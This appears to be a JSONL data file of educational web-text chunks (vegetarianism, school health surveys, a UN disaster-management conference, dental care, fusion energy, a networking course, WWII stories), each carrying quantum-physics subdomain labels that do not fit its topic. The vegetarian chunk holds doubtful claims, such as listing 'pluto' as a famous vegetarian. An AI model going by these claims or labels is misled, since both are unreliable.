evolved. such famous vegetarians include : leonardo de vinci, pythagoras, pluto, plutarch, st. francis of assisi, martin luther, isaac newton, voltaire, john wesley, benjamin franklin, ralph waldo emerson, henry david thoreau, susan b. anthony, leo tolstoy, henry ford, mahatma gandhi, and albert einstein. plant - source - only cultures included the essenes, the hunzas, the aztecs, the mayans, the zapotec, the native american choctaws, and the ancient cherokees. it is significant that two major studies by native americans themselves showed that 60 % of native americans were agriculturalists subsisting primarily on plants. the buffalo culture that emerged on the great plains was short - lived and was the direct result of european invasion and influence. the teachings of the white buffalo calf women was to be plant - source - only, unless there were no other foods to eat ; and then the buffalo would offer itself for survival food. the jain and hindu cultures in india, the buddhist cultures in china and japan, ( the dali lama re - affirmed this is 2005 by calling all buddhists to follow a plant - source - only diet ), and even the torah, 3, 400 years ago in genesis 1 : 29, all clearly recommend a plant - source - only diet, with no spilling of blood, as the primary diet for the evolution of consciousness. examples of spiritual groups who have utilized a plant - source - only diet to promote", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4856832891844167, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.104507"} {"text": "delaware school health profiles roberta gealt, principal investigator secondary school survey - - center for disease control and prevention, division of adolescent and school health through the delaware department of education ; elementary school survey \u2014 center for disease control and prevention, division of adolescent and school health through the delaware department of educationand nemours health prevention services. the school health profiles ( profiles ) is a system of surveys assessing school health policies and practices in states, large urban school districts, territories, and tribal governments. profiles are completed biennially by middle and high school principals and lead health education teachers. the secondary school survey has been administered every other year in even - numbered years. the center develops the delaware version of the survey, based on a cdc survey, with input from state and community agencies. cdas has conducted fieldwork for the surveys, scanned the surveys to provide a data set, and provided some analyses and report writing, and dissemination of findings. the study reports data which relates to other center studies on substance abuse, and provides statewide data on health instruction, policies and practice in schools, as well as professional development for health instructors in specific areas relating to cdc priorities also addressed in the student survey, the youth risk behavior survey. the secondary school survey has been conducted since 2004and the elementary survey, which is administered to principals only, was administered for the first time in 2010. these surveys are now conducted electronically. the basic cdc elementary school survey has been enhanced with additional questions consistent with the goals of nemours.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4466965355002148, "token_count": 302, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.106189"} {"text": "\" risk assessment in the context of global climate change \" - united nations international conference on space - based technologies for disaster management from 22 to 25 november 2011, un - spider successfully organised the conference \u201c united nations international conference on space - based technologies for disaster risk management - best practices for risk reduction and rapid response mapping \u201d in beijing, china. the office organised a subsequent conference from 7 to 9 november 2012 entitled : united nations international conference on space - based technologies for disaster management - \" risk assessment in the context of global climate change \" the aim of the conference was to offer a forum for disaster management communities and experts to strengthen their capabilities in using space based information to assess, monitor and respond to climate change related disaster risks and integrate space technology into long - term disaster risk reduction efforts. increased storms and floods in the coasts of asia and the pacific, receding glaciers in the himalayas, the alps and the andes, frequent and longer droughts in africa, the european heat wave of 2003, frequent inland flooding in central europe and other regions of the world, and the harsh atlantic hurricane seasons of 2004 and 2005 are few examples of weather extremes that enhance disaster risks. several trends in weather extremes are sufficiently clear to highlight additional risks due to climate change and reiterate the need to deal with these risks not in isolation, but instead integrated into broader efforts to reduce the risk of natural disasters. the report \u201c ipcc, 2012 : summary for policymakers \u201d assesses how exposure and vulnerability to weather and climate events determine impacts and the likelihood of disasters. although a relevant segment of the information required to observe long - term evidences of climate change is obtained from space based platforms, member states are not yet fully utilizing the potential of such technologies. most of the observations and forecasts are done by the international or regional organisations. the countries need to downscale this information at national level by reinforcing this information with national level data so that their decisions are based on appropriate information. - space technology role and challenges in the spirit of rio + 20 \u2018 the future we want \u2019 : the rio + 20 outcome document recognized the importance of early warning systems as part of effective disaster risk reduction at all levels in order to reduce economic and social damages, including the loss of human life, and in this regard encourage states to integrate such systems into their national disaster risk reduction strategies and plans. in this context, the conference promotes international cooperation in support of disaster risk reduction in developing countries by offering opportunities to plan technical assistance, technology transfer, capacity - building and training programmes. - space technology", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.49444256045976775, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.114809"} {"text": "systems into their national disaster risk reduction strategies and plans. in this context, the conference promotes international cooperation in support of disaster risk reduction in developing countries by offering opportunities to plan technical assistance, technology transfer, capacity - building and training programmes. - space technology for risk assessment in the context of global climate change : the hydro - meteorological hazards induced by climate change include floods and droughts. receding glaciers, that are essential for the sustainability of life, lead to a reduction of water resources and pose threats of glacial lake outburst floods ( glofs ). sea - level rise poses threats of coastal hazards and submergence to small development islands ( sids ). the conference will focus on space technology applications in early warning, monitoring and assessing vulnerabilities of these hazards. - information sharing and networking : lastly, the conference will offer a wealth of information on data, data discovery and access, tools, best practices and opportunities for bilateral and multilateral cooperation through specific side meetings and breakout sessions. 1. climate change and disaster risk the intergovernmental panel on climate change ( ipcc ) predicts that global temperatures will rise between 1. 8 c and 4. 0 c by the last decade of the 21st century. the impacts of global warming on the climate, however, will vary in different regions of the world. the character and severity of impacts from climate extremes depend not only on the extremes themselves but also on exposure and vulnerability. several countries are already experiencing extreme weather events and major disasters in recent years. this session welcomed presentations on research outcomes, new findings and national efforts to deal with the disaster risks in the context of changing climate conditions. the session also discussed current advances in use of space based information to study climate change and disaster risks. 2. open source data and space based resources to support disaster management a range of open source data and space - based information is becoming increasingly available which can be used to support all stages of disaster management. there are number of existing platform / projects / initiatives that provide open source data ( mainly geo - data ). some of these initiatives take advantage of open source data. the initiatives such as international charter space and major disasters, sentinel asia and gmes emergency response service are also advancing into new stage where access to the data by end user is given due consideration. this session discussed the platform / projects / initiatives that have been taking advantage of open source data and space based resources and will highlight wide range of opportunities for accessing the geospatial data. 3. risk assessment and mapping with the climate change related risks", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.521006878508287, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.115879"} {"text": "session discussed the platform / projects / initiatives that have been taking advantage of open source data and space based resources and will highlight wide range of opportunities for accessing the geospatial data. 3. risk assessment and mapping with the climate change related risks, every country is becoming more prone to the disaster risk. based on disaster risk assessment, national disaster managers could develop more reasonable disaster risk reduction plan and implement action. risk mapping is the output of risk assessment which provides visualized information for both disaster managers and the community. this session offered discussions and information exchange on the models, methods, systems, standards, good practices and lessons learned on space technology applications for disaster risk assessment and mapping. the issues related to the risk assessment and mapping, especially the experiences on how to improve the efficiency of the mapping service, will also be discussed during this session. 4. networking building with the support of member countries and other partners, un - spdier has build a wide network of governmental agencies, international / regional agencies, ngos, scientific societies, private companies etc. as a part of technical advisory support service of the un - spider, several technical advisory missions, capacity building programmes and outreach activities have been carried out in asia, the pacific, africa and latin america. this session provided an insight into the activities supported by the un - spider in partnership with national disaster management agencies and discuss the ways and means of making these activities more effective and relevant to the needs of the member states. this session also encouraged member states to plan more activities under the framework of un - spdier. besides above sessions, specific side meetings were organized to discuss - drought monitoring projects in africa in partnership with national disaster reduction centre of china - rapid mapping services during emergencies 120 disaster managers, policy makers, providers of space technology solutions / tools / applications from government, academia, researchers, ngo and corporate sector participated in the conference. | dr. shirish ravan - climate change and disaster risk reduction : space technology initiatives, challenges and opportunities | | download | | dr. deren li - research on chinese natural disaster reduction system of systems ( cndrss ) | | download | | plenary session 1 | | casimiro abreu - climate change and its challenges. the case of mozambique | | download | | disaster and disaster management in china | | download ( chinese ) | | george shepherd dregaso - disaster and risk management fiji experience | | download | | natasha mbengo - general overview of disasters in malawi | | download | | fahim khokat et al - to study atmospheric", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.48962630294253706, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.116936"} {"text": "| download ( chinese ) | | george shepherd dregaso - disaster and risk management fiji experience | | download | | natasha mbengo - general overview of disasters in malawi | | download | | fahim khokat et al - to study atmospheric composition and climate change impacts over pakistan | | download | | plenary session 2 | | takayuki odawara - digitalglobe contributions to risk management in global climate change | | download | | fuzhou duan - the nature disaster and uav remotly sensing system | | download | | cnsa - developing conception of china national high resolution earth observation data grid for public service | | download | | james godstime - space - based resources for disaster management in africa | | download | | plenary session 3 | | suparco - best practices in pakistan of using space - based information for disaster management | | download | | shahidul islam and probir kumar des - disaster management using space technology in bangladesh | | download | | rokhis khomarudin - remote sensing application for disaster management in indonesia | | download | | weihua fang - changes of typhoon hazards and disaster loss in china | | download | | plenary session 4 | | muhammad sani sidi - the impact of the 2012 floods on agriculture and food security in nigeria using gis | | download | | weicheng wu et al. - climate change, land degradation and food security in iraq | | download | | sergii skakun et al. - the use of satellite data for drought monitoring & food security in ukraine in the context of climate change | | download | | mary mwale - experiences and challenges of drought risk management in kenya | | download | | changzhi li - flood risk mapping in china | | download | | plenary session 5 | | yansheng dong and hongpin chen - agro - disaster assessment with satellite data for crop insurance payments | | download | | state forestry china - forestry disaster monitoring and evaluation in support of space remote sensing technology | | download | | akira doi - preparedness and rapid response based on geospatial information at great east japan earthquake in 2011 | | download | | maximilien tiogang djomo - the role of remote sensing technologies and gis for the disaster management and climate change adaptation related to forests resources in the congo basin countries | | download | | bin zou - satellite oil spill monitor in act | | download | | special session 1 | | jianjun wu - drought monitoring and impact evaluation from", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4711831951243866, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.117968"} {"text": "disaster management and climate change adaptation related to forests resources in the congo basin countries | | download | | bin zou - satellite oil spill monitor in act | | download | | special session 1 | | jianjun wu - drought monitoring and impact evaluation from scientific methods to disaster response | | download | | dr. amna hamid and dr. yahya eltayeb - space borne technology for drought monitoring in sudan | | download | | dr. modibo traore - drought management in niger | | download | | special session 2 | | haixia he - space - based rapid mapping for emergency management | | download | | dr. amna ahmed hamid - activities related to the un - spider technical advisory mission to sudan | | download | | dr. muhammad naseem baig and dr. manzoor hussain - an overview of disaster management training & education in pakistan | | download | | apsco - brief on apsco data sharing service platform project | | download | | james godstime - follow - up activities from technical advisory mission to nigeria and to cape verde | | download | | zhiyong fang - enhance cooperation and forward progress : work review and prospect for the supporting to un - spider beijing office | | download | | denis macharia and john kapoi - disaster early warning and response activities at rcmrd | | download | | dr. li suju - bridging disaster management and space community : un - spider and its activities | | download | | un - spider - technical advisory mission to mozqmbique 8 - 12 october 2012 | | download |", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4511756203145616, "token_count": 324, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.118618"} {"text": "la jardinera de la esperanza ( the gardener of hope ) la jardinera de la esperanza, depicts a young girl lying on garden patio steps, cultivating a variety of plant pots. the sculpture is sited four metres beneath the surface punta nizuc, cancun. the pots are propagated with live coral cuttings rescued from areas of the reef system damaged by storms and human activity. this technique, a well - established procedure in reef conservation, rescues damaged coral fragments by providing a suitable new substrate. the sculpture, a synthesis between art and science, conveys a message of hope and prosperity, portraying human intervention as positive and regenerating. the young girl symbolizes a new, revitalized kinship with the environment, a role model for future generations. the interaction between the inanimate and living forms highlights a potential symbiotic relationship with the life systems of the underwater world. over the past few decades we have lost over 40 % of our natural coral reefs. scientists predict a permanent demise of 80 % by 2050. the gardner of hope is designed to focus attention on this important, often forgotten, ecological issue. built into the base of the sculpture are specialized habitat spaces designed to encourage individual types of marine creatures such as moray eels, juvenile fish and lobsters. page 1 2 3 4 5 6 7 8 9 10", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4889131828334699, "token_count": 278, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.120047"} {"text": "brushing and toothpaste the importance of brushing the single best way to remove harmful plaque - - a thin, sticky film loaded with bacteria - - from teeth and gums is to brush teeth regularly and properly. what is the proper technique for teeth brushing? because every mouth is different, there is more than one technique of brushing that has proven to be effective. deciding which technique is most appropriate for you depends largely on your teeth position and gum condition. consult your dentist to determine which brushing technique is most appropriate for your mouth. generally, most dentists recommend a circular technique for brushing. this includes brushing only a small group of teeth at a time - - gradually covering the entire mouth. the importance of maintaining a circular or elliptical motion is emphasized, as using a back and forth motion may cause the following : instead, dentists recommend the following method : place the toothbrush beside your teeth with the bristles pointed at the gums at a 45 - degree angle. gently brush only a small group of teeth at a time ( in a circular or elliptical motion ) until the entire mouth is covered. brush the outside of the teeth, inside of the teeth, and the chewing surfaces. gently brush the tongue to remove bacteria and freshen breath. repeat steps one through four at least twice daily, especially after meals and snacks. what type of toothbrush should be used? a toothbrush head should be small - - about 1 inch by 1 / 2 inch - - and should have a handle suitable for firm grasping. the bristles of the brush should be soft, nylon, and rounded at the ends. this helps ensure that the brush bristles are kind to the gums and tooth surfaces. soft, polished bristles allow you to reach into the crevice ( sulcus ) between the teeth and gums to remove plaque without damaging the gums. some brushes are too abrasive and can wear down the enamel on teeth. thus, in most cases, medium and hard bristles are not recommended. only gentle pressure is needed when brushing to remove the plaque. excessive pressure can cause the gums to recede and abrade the tooth surface. how often is brushing necessary? generally, brushing is recommended twice a day for at least three to four minutes each time. patients generally think they are brushing long enough, when in fact, most people spend less than one minute brushing. in addition, it is generally better to brush three to four minutes twice a day instead of brushing quickly five or more times throughout the day. dentists advise brushing your teeth during", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.47232401627569814, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.123676"} {"text": "enough, when in fact, most people spend less than one minute brushing. in addition, it is generally better to brush three to four minutes twice a day instead of brushing quickly five or more times throughout the day. dentists advise brushing your teeth during the day while at work, school, or play. keeping a toothbrush handy - - in your desk or backpack - - increases the chance that you will brush during the day. replace your toothbrush every two to three months. what is toothpaste? also called dentifrice, toothpaste is comprised of the following cleaning ingredients ( stated in approximate percentages ) : humectant ( helps retain moisture ) and water ( 75 percent ) abrasive ( 20 percent ) foaming and flavoring agents ( 2 percent ) ph buffers ( 2 percent ) coloring agents, binders, and opacifiers ( 1. 5 percent ) fluoride (. 24 percent ) facts about toothpaste brushing with toothpaste ( particularly toothpaste with fluoride ) helps to : which type of toothpaste is best? fluoride is the most crucial ingredient in toothpaste. as long as the toothpaste contains fluoride, the brand or type ( paste, gel, or powder ) generally does not matter. all fluoride toothpastes work effectively to fight plaque and cavities, and clean and polish tooth enamel. the brand you choose should bear the ada ( american dental association ) seal of approval on the container, which means that adequate evidence of safety and efficacy have been demonstrated in controlled, clinical trials. some toothpastes offer tartar control pyrophosphates to prevent the build - up of soft calculus deposits on teeth, while others offer whitening formulas to safely remove stains, making teeth brighter and shinier. but, contrary to clever advertising and popular belief, fluoride is the true active ingredient that works the hardest to protect your teeth.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.43838316355604673, "token_count": 396, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.124471"} {"text": "prof. michael mauel, columbia university \" bringing the stars to earth : the path to fusion power \" abstract : a grand challenge of applied physics is to use our scientific know - how of plasma physics to achieve one of the world \u2019 s most important technical goals : a source of energy that is clean, safe, and available for thousands of years. fusion energy is the most promising source of energy meeting these requirements. fusion uses the heavy isotope of hydrogen, called deuterium, to form helium and release huge amounts of energy. every bottle of water contains enough deuterium to generate the equivalent of a barrel of oil when used in a fusion power source. but a major challenge remains : deuterium must first be heated to the temperature of the stars before fusion energy can be released. professor mike mauel will describe experiments that test whether or not the magnetic fields used to confine high temperature plasma at the surfaces of stars or in planetary magnetospheres can produce the conditions that will make fusion energy work. the largest of these is the iter experiment, now under construction in france and lead by an international organization that includes the u. s., europe, russia, china, india, south korea, and japan. biography : michael mauel was educated at mit receiving his b. s. ( 1978 ) and his sc. d. ( 1983 ) with a research specialty in plasma physics. while at mit, he was awarded the fortesque fellowship from the ieee and the guillemin prize. following post - doctoral research at mit he joined the faculty of columbia university in 1985 where he is currently professor of applied physics and was chair of the department of applied physics and applied mathematics from 2000 - 06. at columbia, his research focused on high temperature plasma physics, and he was awarded a certificate of appreciation by the u. s. department of energy in 1989 for his work in fusion energy. dr. mauel collaborated extensively with the tftr research team at the princeton plasma physics laboratory and participated in advanced tokamak experiments and in the world \u2019 s first high - power d - t fusion experiments. he was a visiting scientist at diii - d fusion experiment at general atomics in 1994, investigating high - pressure \" wall mode \" instabilities and co - discovered techniques to generate internal transport barriers. at columbia university, he built experimental programs in plasma processing in collaboration with ibm and in laboratory space physics with the support of nasa, nsf, and the afosr. he also co - directed the levitated dipole experiment, a", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5695959372077943, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.127533"} {"text": "the oldest of five children, nikola was born in a small village in the croatian part of yugoslavia. like his parents, nikola was baptized in the serbian orthodox faith. after receiving his medical degree from prague university, he married, and in 1912 moved with his wife to serbia. during world war i he served in the serbian army, and then settled in novi sad where he co - owned a medical clinic. 1933 - 39 : nikola and his wife raised three children in novi sad. then difficult times brought on by the 1930s economic depression forced nikola to close his medical clinic. the mrvos family moved to the croatian city of zagreb, where nikola found employment as the director of medical services for yugoslavia ' s newly established health insurance administration. 1940 - 41 : the germans invaded yugoslavia on april 6, 1941. four days later, they entered zagreb and croatian fascists came to power. because of anti - serb discrimination, nikola was arrested by croatian fascists on april 12 and imprisoned in kerestinec castle outside zagreb. during the night of july 13, some communist prisoners escaped. as a result, the police closed the prison down and transferred the prisoners to a croatian concentration camp in the south in gospic. shortly after, they were transferred to a camp at jadovno. in august 1941 in jadovno, croatian fascists killed nikola and threw his body into a limestone cave along with those of hundreds of murdered serbs, jews and communists.", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.39101745545634825, "token_count": 292, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.130061"} {"text": "stop subsidizing obesity our tax dollars help fuel obesity epidemic \u2014 since 1995, $ 18 billion has been given away in subsidies to big agribusinesses, this money gets used to produce common junk food ingredients, like high - fructose corn syrup. these giveaways are all the more absurd at a time when one - in - three kids is overweight or obese. put junk food subsidies on a diet almost anything you can think of would be a better use of our tax dollars than subsidizing the ingredients in junk food, but every year more than a billion taxpayer dollars do just that. huge, profitable corporations, like cargill and monsanto, have pocketed $ 18 billion in the last 16 years and turned subsidized crops into junk food ingredients \u2014 including high fructose corn syrup. these taxpayer giveaways are all the more absurd at a time when one - in - three kids is overweight or obese, and obesity - related diseases like diabetes are turning into an epidemic. many of these wasteful subsidies are set to expire this year, but industry lobbyists are urging congress to keep them. in 2008 alone, big agribusinesses spent $ 200 million on lobbying and campaign contributions. no one in congress wants to be seen standing up for taxpayer giveaways to junk food. cutting wasteful spending while attacking childhood obesity could be the perfect storm we need to push past the junk food industry. obesity quick facts : - high - fructose diets impair learning and memory. - for each additional can of soda drunk daily, the odds of a child becoming obese increases by about 60 %. - childhood obesity has quadrupled in the last 40 years. - drinking one or two sugary drinks per day increases the risk for type 2 diabetes by 25 %. - once an adult problem, diabetes associated with obesity is increasing among children. tools & resources you can help we have a chance to cut billions in junk food subsidies this year. your support will help us do the research, advocacy and grassroots organizing to convince our elected officials to act. each year, our tax dollars pay for enough junk food additives to buy 8. 5 two - liter bottles of soda for each person under 18. help stop the subsidies for junk food. join our network and stay up to date on our campaigns, get important consumer updates and take action on critical issues.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.40147055483180805, "token_count": 489, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.132587"} {"text": "csc3407 network fundamentals and routing | semester 1, 2013 on - campus toowoomba | | faculty or section : | | faculty of sciences | | school or department : | | maths and computing | | version produced : | | 23 may 2013 | examiner : yan li moderator : david lai explosive growth in computer networks in the last several decades has changed the uses of computers dramatically. the largest computer network, the internet, is now connecting millions of computers in the world, providing services like email, file transfer, hypermedia information retrieval across all kinds of different platforms. this course is the introductory course in computer networking. it concentrates on basic concepts and protocols of computer networks. this course serves as a foundation for all further courses in the computer networking program. this course addresses the layered structure of computer communication networks. it focuses on networking basics, routers and routing basics and the most widely used tcp / ip protocol suite. after this course, the students will have not only general knowledge about computer networks but also the understanding and practical skills of cabling and managing routers and tcp / ip internetworking. on successful completion of this course students will be able to : - demonstrate an understand networking basics ; - describe and explain the nature and roles of protocols and services at the application, network, data link and physical layers using osi and tcp reference models ; - demonstrate an understanding of ethernet fundamentals ; - illustrate tcp / ip protocol suite and subnetting ; - manage and configure cisco routers ; - explain routing and routing protocols. | 1. | | network terminologies, protocols and standards | | 10. 00 | | 2. | | roles and functionalities of network layers in osi and tcp layered models | | 20. 00 | | 3. | | ip addressing and subnetting | | 15. 00 | | 5. | | routers and router programming | | 10. 00 | | 6. | | routing and routing protocols | | 35. 00 | text and materials required to be purchased or accessed all textbooks and materials available to be purchased can be sourced from usq ' s online bookshop ( unless otherwise stated ). ( https : / / bookshop. usq. edu. au / bookweb / subject. cgi? year = 2013 & sem = 01 & subject1 = csc3407 ) please contact us for alternative purchase options from usq bookshop. ( https : / / bookshop. usq", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5222450335147639, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.138499"} {"text": "bookweb / subject. cgi? year = 2013 & sem = 01 & subject1 = csc3407 ) please contact us for alternative purchase options from usq bookshop. ( https : / / bookshop. usq. edu. au / contact / ) mark a dye, rick mcdonald and antoon w rufi 2007, network fundamentals, ccna exploration companion guide, cisco press. ( isbn - 10 : 1 - 58713 - 208 - 7, isbn - 13 : 9781587132087. ) rick graziani and allan johnson 2008, routing protocols and concepts, ccna exploration companion guide, cisco press. ( isbn - 10 : 1 - 58713 - 206 - 0, isbn - 13 : 9781587132063. ) introductory / study book 2013, course csc3407 network fundamentals and routing, available on the course website in the studydesk. johnson, a latest version, ccna exploration labs and study guide, routing protocols and concepts, cisco press. ( isbn - 10 : 1 - 58713 - 204 - 4, isbn - 13 : 978 - 1 - 58713 - 204 - 9. ) rufi, a, oppenheimer, p, woodward, b & brady, g latest version, network fundamentals, ccna exploration labs and study guide, cisco press. ( isbn - 10 : 1 - 58713 - 203 - 6, isbn - 13 : 978 - 1 - 58713 - 203 - 2. ) student workload requirements | description | | marks out of | | wtg ( % ) | | due date | | notes | | assignment 1 | | 100 | | 25 | | 05 apr 2013 | | assignment 2 | | 100 | | 25 | | 31 may 2013 | | 2 hour restricted examination | | 100 | | 50 | | end s1 | | ( see note 1 ) | - examination dates will be available during the semester. important assessment information it is the students ' responsibility to attend and participate appropriately in all activities ( such as lectures, tutorials, laboratories and practical work ) scheduled for them, and to study all material provided to them or required to be accessed by them to maximise their chance of meeting the objectives of the course and to be informed of course - related activities and administration. requirements for students to complete each assessment item satisfactorily : to complete each of the assessment items satisfactorily, students must obtain at", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5096837255860625, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.139353"} {"text": "of meeting the objectives of the course and to be informed of course - related activities and administration. requirements for students to complete each assessment item satisfactorily : to complete each of the assessment items satisfactorily, students must obtain at least 50 % of the marks available for each assessment item. penalties for late submission of required work : if students submit assignments after the due date without ( prior ) approval of the examiner then a penalty of 5 % of the total marks gained by the student for the assignment may apply for each working day late up to ten working days at which time a mark of zero may be recorded. no assignments will be accepted after model answers have been posted. requirements for student to be awarded a passing grade in the course : to be assured of receiving a passing grade a student must achieve at least 50 % of the total weighted marks available for the course. method used to combine assessment results to attain final grade : the final grades for students will be assigned on the basis of the weighted aggregate of the marks obtained for each of the summative assessment items in the course. candidates are allowed access only to specific materials during a restricted examination. the only materials that candidates may use in the restricted examination for this course are : writing materials ( non - electronic and free from material which could give the student an unfair advantage in the examination ) ; calculators which cannot hold textual information ( students must indicate on their examination paper the make and model of any calculator ( s ) they use during the examination ) ; examination period when deferred / supplementary examinations will be held : any deferred or supplementary examinations for this course will be held during the next examination period. university student policies : students should read the usq policies : definitions, assessment and student academic misconduct to avoid actions which might contravene university policies and practices. these policies can be found at http : / / policy. usq. edu. au / portal / custom / search / category / usq _ document _ policy _ type / student. 1. html. the due date for an assignment is the date by which a student must despatch the assignment to the usq. the onus is on the student to provide proof of the despatch date, if requested by the examiner. in accordance with university policy, the examiner may grant an extension of the due date of an assignment in extenuating circumstances. the faculty will not accept submission of assignments by facsimile. students who do not have regular access to postal services or who", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5116731502134142, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.140399"} {"text": "accordance with university policy, the examiner may grant an extension of the due date of an assignment in extenuating circumstances. the faculty will not accept submission of assignments by facsimile. students who do not have regular access to postal services or who are otherwise disadvantaged by these regulations may be given special consideration. they should contact the examiner of the course to negotiate such special arrangements. in the event that a due date for an assignment falls on a local public holiday in their areas, such as a show holiday, the due date for the assignment will be the next day. students are to note on the assignment cover the date of the public holiday for the examiner ' s convenience. students who have undertaken all of the required assessments in a course but who have failed to meet some of the specified objectives of a course within the normally prescribed time may be awarded the temporary grade : im ( incomplete - make up ). an im grade will only be awarded when, in the opinion of the examiner, a student will be able to achieve the remaining objectives of the course after a period of non directed personal study. students who, for medical, family / personal, or employment - related reasons, are unable to complete an assignment or to sit for an examination at the scheduled time, may apply to defer an assessment in a course. such a request must be accompanied by appropriate supporting documentation. one of the following temporary grades may be awarded ids ( incomplete - deferred examination : idm ( incomplete deferred make - up ) ; idb ( incomplete - both deferred examination and deferred make - up ). the referencing system to be used in this course is supported by the department. information on this referencing system and advice on how to use it can be found in the course materials. students will require access to e - mail and the internet.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.49991547880692844, "token_count": 371, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.141137"} {"text": "the first week of was busy for the pilots of air group 15, flying from the uss essex. at 0630 on the morning of november 6th, twenty - six f6f hellcat fighters, nine sb2c helldiver dive - bombers, and five tbm avenger torpedo - bombers left the deck of the uss essex to join air groups from other carriers in the task force under the command of admiral w. f. bull halsey in the first wave of strikes against the japanese forces at clark field, as well was enemy ships in manila and salanguin harbors. seated in the cockpit of one of the sb2c helldivers was pilot, navy lieutenant william s. bill rising. behind him was his radioman / gunner, arm2 / c john montgomery. one week earlier john had celebrated his 21st birthday. now he carefully scanned the heavens for signs of the enemy in hopes of eventually celebrating his 22nd. as the aircraft neared the target on a dock area near manila, ground fire began to burst around the american planes. lieutenant rising looked below and found a choice target, a japanese destroyer. he put his dauntless into a vertical dive, screaming in on the enemy ship at almost a 90 degree angle to lay his bombs on its deck. around the rapidly falling airplane burst the deadly rounds of enemy anti - aircraft fire. manning the gun behind his pilot, john montgomery did his best to ignore it and concentrate on the mission at hand. though young, he had already completed 38 such missions, and was becoming an \" old hand \". suddenly the sound of the diving helldiver ' s engine changed. enemy fire had struck home, lieutenant rising ' s airplane was crippled. quickly the pilot pulled out of his dive, struggling to level his aircraft. both men removed their safety belts and climbed out on a wing to bail out. then, as the helldiver began to level more, lieutenant rising yelled across to montgomery, \" i think i can still control ' er. let ' s see if we can make it out past manila bay. \" both men climbed back into the falling helldiver, buckled up, and headed out to sea and away from the bay that was filled with enemy ships. the airplane would definitely not be returning to the essex, but any distance the two men could put between themselves and the enemy controlled bay would decrease their chances of capture. as they moved further from manila bay, they continued to also drop closer to the swells of the sea. montgomery took the life raft from its storage", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.42335643724132155, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.153295"} {"text": "distance the two men could put between themselves and the enemy controlled bay would decrease their chances of capture. as they moved further from manila bay, they continued to also drop closer to the swells of the sea. montgomery took the life raft from its storage tube and put it across his cockpit, bracing his head against it as a cushion. lieutenant rising struggled against the controls, bouncing the helldiver over a couple of waves before it nosed into the sea with great force. in the brief moments before the airplane slipped to the ocean floor, bill rising climbed out onto the wing and montgomery threw him the raft. the contents of two 30 caliber ammunition boxes had spilled on the gunner during the crash landing, and as the cockpit filled with water montgomery struggled to free himself. then, to his horror, the young man from kentucky realized that in the adrenaline charged moment of danger, he had forgotten to unbuckle his safety belt. working feverishly against both the weight of the ammo and the restraint of his harness, he lost precious seconds. water washed over him as the plane sank beneath the waves. somehow, miraculously, he worked his way free and actuated his life vest. only one side inflated, and john montgomery popped to the surface coughing up the briny water, and tilted at an awkward angle. but at least he was alive. the salty water stung the open wounds of montgomery ' s ankles where enemy flak had punctured 